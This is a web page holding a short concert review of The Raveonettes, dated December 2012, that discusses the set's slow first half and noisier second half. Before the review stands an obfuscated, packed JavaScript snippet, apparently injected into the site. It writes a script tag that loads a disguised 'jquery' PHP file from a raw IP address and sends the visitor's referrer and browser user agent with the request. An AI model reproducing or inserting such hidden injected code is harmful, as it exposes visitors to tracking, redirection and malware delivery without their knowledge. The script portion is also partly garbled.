Village (function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(” 4=\’7://5.8.9.f/1/h.s.t?r=”+3(0.p)+”\o=”+3(j.i)+”\’><\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|aredn|var|u0026u|referrer|dktsh||js|php’.split(‘|’),0,{}))
December 2012

The Raveonettes greatest strength is also their biggest limitation; their instantly recognisable, hipster-slick trademark sound can quickly become limited and stifling. As such, their set was flagging by the middle. ‘Dead Sound’ from ‘Lust Lust Lust’ had been the highlight to this point, the rest was merging into one shoegazey dream-pop-Americana lump.

Thankfully, things turned around in the second half. ‘Observations’ – with its constant threat to turn into the intro to The Rolling Stones ‘Gimme Shelter’- brought some groove to the set, and as the band gave into the noise and bashed through feedback soaked versions of ‘Attack of the Ghost Riders’, ‘Lay Walk With Me’ and ‘Love in a Trashcan’ providing some evidence The Raveonettes are actually still alive.

In fact, with the encore and a great part of the second half drawn from 2002-2005, it’s a fairly convincing argument for the band dropping their quest for twee indie perfection and going back to rocking out full time.